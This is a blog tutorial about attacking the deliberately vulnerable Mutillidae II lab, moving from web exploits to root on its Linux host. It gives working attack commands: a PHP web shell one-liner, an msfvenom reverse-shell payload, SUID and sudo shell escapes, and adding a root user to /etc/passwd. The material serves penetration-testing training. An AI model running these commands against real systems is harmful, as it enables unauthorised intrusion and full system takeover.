Sandbox99 Chronicles

Beyond the Browser: Escalating from Mutillidae II Web Exploits to Root Access

Beyond the browser

Written by Jose Mendez

Hi, I’m Jose Mendez, the creator of sandbox99.cc. with a passion for technology and a hands-on approach to learning, I’ve spent more than fifteen years navigating the ever-evolving world of IT.

Published Jul 1, 2025 | Last updated on Jul 1, 2025 at 6:26AM

Reading Time: 6 minutes

Introduction

Mutillidae II is a deliberately vulnerable web application, meaning it’s designed to help you learn and practice various web exploitation techniques, including those that can lead to privilege escalation on the underlying operating system.

It’s important to understand that Mutillidae II itself is a web application, written in PHP. Privilege escalation on the “Mutillidae II box” (which is typically a Linux virtual machine, often Metasploitable2 or a custom LAMP stack) means escalating privileges on the operating system that hosts the web server running Mutillidae II.

Here’s a breakdown of how you’d approach privilege escalation on a Mutillidae II box, focusing on techniques often found in such vulnerable environments:

I. Initial Access (Getting a Low-Privileged Shell)

Before you can escalate privileges, you need initial access. Mutillidae II is excellent for this, as it has many web vulnerabilities. You would typically exploit one of these to gain a web shell or a reverse shell:

  • File Upload Vulnerabilities: Mutillidae II has vulnerable file upload forms. You can often upload a malicious PHP web shell (.php) or a reverse shell script (e.g., a simple PHP reverse shell).
    • Exploitation:
      1. Navigate to a file upload vulnerability (e.g., the “File Upload” section).
      2. Set the security level to low (for easier exploitation).
      3. Upload a PHP web shell (e.g., <?php system($_GET['cmd']); ?>) or a PHP reverse shell script.
      4. Access the uploaded shell in your browser or trigger the reverse shell (by listening with Netcat on your attacker machine).
  • Command Injection / Remote Code Execution (RCE): Look for areas where user input is executed directly by the server.
    • Exploitation:
      1. Find a command injection point (e.g., “DNS Lookup” or “Ping” utilities).
      2. Inject system commands (e.g., & ls -la /) to confirm RCE.
      3. Inject a reverse shell payload to get a Meterpreter or Netcat session back to your machine.
  • SQL Injection (SQLi) with UNION or OUTFILE: In some cases, a severe SQLi can lead to writing files to the web server’s directory, allowing you to drop a web shell.
    • Exploitation:
      1. Find a vulnerable SQL injection point.
      2. Use UNION SELECT or INTO OUTFILE to write a PHP web shell to a web-accessible directory.
      3. Access the web shell.

II. Privilege Escalation (From Low-Privileged Web User to Root)

Once you have a shell (Meterpreter or a basic command shell), you’ll likely be running as the web server user (e.g., www-data on Debian/Ubuntu, apache on CentOS/RHEL). Now, the goal is to elevate to root.

This phase is about exploiting misconfigurations or vulnerabilities in the underlying Linux operating system.

Common Linux Privilege Escalation Techniques Applicable to Mutillidae II / Metasploitable2:

  1. Kernel Exploits:
    • Concept: The target Linux kernel might have known vulnerabilities that allow local privilege escalation. Metasploitable2, for example, often runs an older kernel that is susceptible to various LPE exploits.
    • How to check (from your low-priv shell):
      • uname -a (to get kernel version and distribution)
      • cat /etc/os-release or cat /etc/issue (to get OS details)
    • Metasploit Modules: Search for exploit/linux/local/ modules.
      • search type:exploit platform:linux local
      • Popular old ones include Dirty Cow (exploit/linux/local/dirtycow_prctl), various overlayfs, perf_event_open, etc.
    • Process:
      1. Get kernel version from target.
      2. Search Exploit-DB or Metasploit for matching LPEs.
      3. If a Metasploit module exists, use it and set SESSION to your current session.
      4. If not, you might need to compile an exploit on your attacker machine and upload it to the target (upload command in Meterpreter, or wget from a web server you host). Then execute it.
  2. Misconfigured SUID/SGID Binaries:
    • Concept: Some binaries might have the SUID (Set User ID) or SGID (Set Group ID) bit set, meaning they run with the permissions of their owner/group (often root) regardless of who executes them. If a SUID binary has a vulnerability (e.g., allows arbitrary file writes, takes dynamic library paths), you can exploit it.
    • How to check: find / -perm /4000 2>/dev/null (for SUID) or find / -perm /2000 2>/dev/null (for SGID). Look for unusual or custom SUID binaries.
    • Common examples:
      • nmap (old versions with –interactive): nmap –interactive, then !sh
      • find (with -exec): find /tmp -exec '/bin/sh' \;
      • vi/vim (if configured with shell access): :set shell=/bin/sh, :shell
      • less/more (if viewed with man and then !sh)
    • Metasploit: Often these are manual exploits, but information gathering modules can help.
  3. Writable /etc/passwd or /etc/shadow:
    • Concept: Extremely rare in production, but common in CTFs/vulnerable VMs. If you can write to /etc/passwd or /etc/shadow, you can add a new root user or change root’s password.
    • How to check: ls -la /etc/passwd, ls -la /etc/shadow.
    • Process (if writable):
      • Generate a new password hash: openssl passwd -1 -salt <salt> <password> (e.g., -salt abc for “password”).
      • Edit /etc/passwd to add a new user with UID 0 (root). Example: newuser:HASH:0:0::/root:/bin/bash
      • Or, edit /etc/shadow to change root’s password.
  4. Cron Jobs Misconfigurations:
    • Concept: Scheduled tasks (cron jobs) running as root might execute scripts in world-writable directories, or call commands with relative paths. You can sometimes inject malicious code or create your own script in a vulnerable path.
    • How to check: cat /etc/crontab, ls -la /etc/cron.*, crontab -l (as current user).
    • Process: Look for scripts owned by root that are writable by your user, or scripts called without an absolute path.
  5. Weak Permissions on System Files/Directories:
    • Concept: Misconfigured permissions can allow a low-privileged user to modify critical system files, potentially leading to root.
    • How to check: Recursively list permissions in /opt, /var/www, /usr/local, etc., looking for rwx for “other” users on files or directories where they shouldn’t exist.
  6. sudo Misconfigurations:
    • Concept: If the sudoers file is misconfigured, a low-privileged user might be allowed to run certain commands as root without a password.
    • How to check: sudo -l (lists what commands the current user can run with sudo).
    • Process: Look for entries like (ALL) NOPASSWD: ALL or specific commands that can be abused (e.g., sudo /usr/bin/find could be exploited by sudo find . -exec /bin/sh \;).
  7. Web Server Misconfigurations (beyond the application):
    • Sometimes the web server itself (Apache, Nginx) might be running with excessive privileges, or its configuration files might be writable by the web user, allowing you to modify them for RCE.

Using Metasploit for Post-Exploitation and Privilege Escalation:

  1. Get a Meterpreter Session: This is usually the first step, as Meterpreter provides powerful post-exploitation capabilities.
    • If you exploited a web vulnerability, deliver a Meterpreter PHP payload.
    • Example: msfvenom -p php/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f raw > shell.php
    • Set up multi/handler in Metasploit.
    • Upload shell.php to Mutillidae and browse to it.
  2. Inside Meterpreter:
    • sysinfo: Basic system details.
    • getuid: Current user (e.g., www-data).
    • shell: Drop into a native shell for more direct commands.
    • download /path/to/interesting/file
    • upload /path/to/exploit
    • run post/multi/recon/local_exploit_suggester: This is a very useful Metasploit post-module. It attempts to identify potential local privilege escalation exploits on the target based on its OS, kernel, and installed software.
      • msf6 > use post/multi/recon/local_exploit_suggester
      • msf6 post(local_exploit_suggester) > set SESSION <your_session_id>
      • msf6 post(local_exploit_suggester) > run
      • This module will suggest other exploit/linux/local/ modules you can try.
    • getsystem (not directly for Linux, but important concept): On Windows, this is the go-to. On Linux, you’ll rely more on specific LPE modules or manual techniques.
    • run post/linux/gather/enum_system: Gathers detailed system information.
    • run post/linux/gather/enum_protections: Can identify security mechanisms in place.

Typical Workflow:

  1. Vulnerability Scanning/Recon: Use tools like Nikto, dirb/gobuster, or manual Browse on Mutillidae II to find web vulnerabilities.
  2. Initial Shell: Exploit an RCE, file upload, or serious SQLi to get a Meterpreter (or simple shell) as the web user.
  3. Internal Recon: Once you have a shell, perform extensive reconnaissance on the Linux system:
    • uname -a
    • ls -la /
    • ps aux
    • cat /etc/passwd
    • sudo -l
    • find / -perm /4000 2>/dev/null
    • Check /var/www/html permissions, /tmp permissions, etc.
    • Use local_exploit_suggester if in Meterpreter.
  4. Identify Escalation Path: Based on your recon, pinpoint a specific vulnerability (old kernel, SUID binary, cron job, weak file permissions, sudo misconfig).
  5. Execute Exploit:
    • If a Metasploit LPE module exists for the identified vulnerability, use it and set your session.
    • If not, find a public exploit (e.g., from Exploit-DB), compile it (if necessary), upload it to /tmp on the target, set execute permissions (chmod +x), and run it.
  6. Verify Root: Once exploited, you should get a new session as root, or be able to run whoami and see root.

Key Takeaways and Developing Your Own Methodology

Understanding the Full Attack Chain

Privilege escalation on Mutillidae II boxes demonstrates the critical relationship between web application vulnerabilities and underlying system security. What begins as a simple SQL injection or command injection in the web application can quickly escalate to complete system compromise. This progression highlights why defense-in-depth strategies are essential in production environments.

Building Your Personal Methodology

As you work through Metasploitable2 and similar vulnerable VMs, resist the temptation to simply follow step-by-step tutorials. Instead, develop your own systematic approach:

Start with Reconnaissance: Before touching Metasploit, spend time understanding the target system. What services are running? What versions are installed? What users exist? This information gathering phase often reveals multiple attack vectors that automated tools might miss.

Document Your Process: Keep detailed notes of what works, what doesn’t, and why. Understanding failed attempts is often more valuable than successful ones. This documentation becomes your personal playbook for real-world assessments.

Think Beyond the Tools: While Metasploit is powerful, don’t become dependent on it. Practice manual exploitation techniques, understand the underlying vulnerabilities, and learn to chain simple exploits into complex attack sequences.

Explore Multiple Paths: Metasploitable2 typically offers numerous routes to root access. Challenge yourself to find at least three different privilege escalation methods for each initial foothold you gain.

The Bigger Picture

Remember that Mutillidae II and Metasploitable2 are learning platforms with intentionally obvious vulnerabilities. Real-world privilege escalation requires patience, creativity, and deep understanding of system internals. Use these vulnerable environments to build your foundational skills, but always consider how the techniques translate to modern, hardened systems.

The goal isn’t just to achieve root access—it’s to understand the security principles that, when violated, make such escalation possible. This understanding will make you a more effective penetration tester and a more security-conscious developer or system administrator.

Take the time to experiment, break things, and most importantly, understand the “why” behind each successful exploit. Your methodology should be adaptable, thorough, and grounded in a solid understanding of both web application security and operating system internals.

Related Post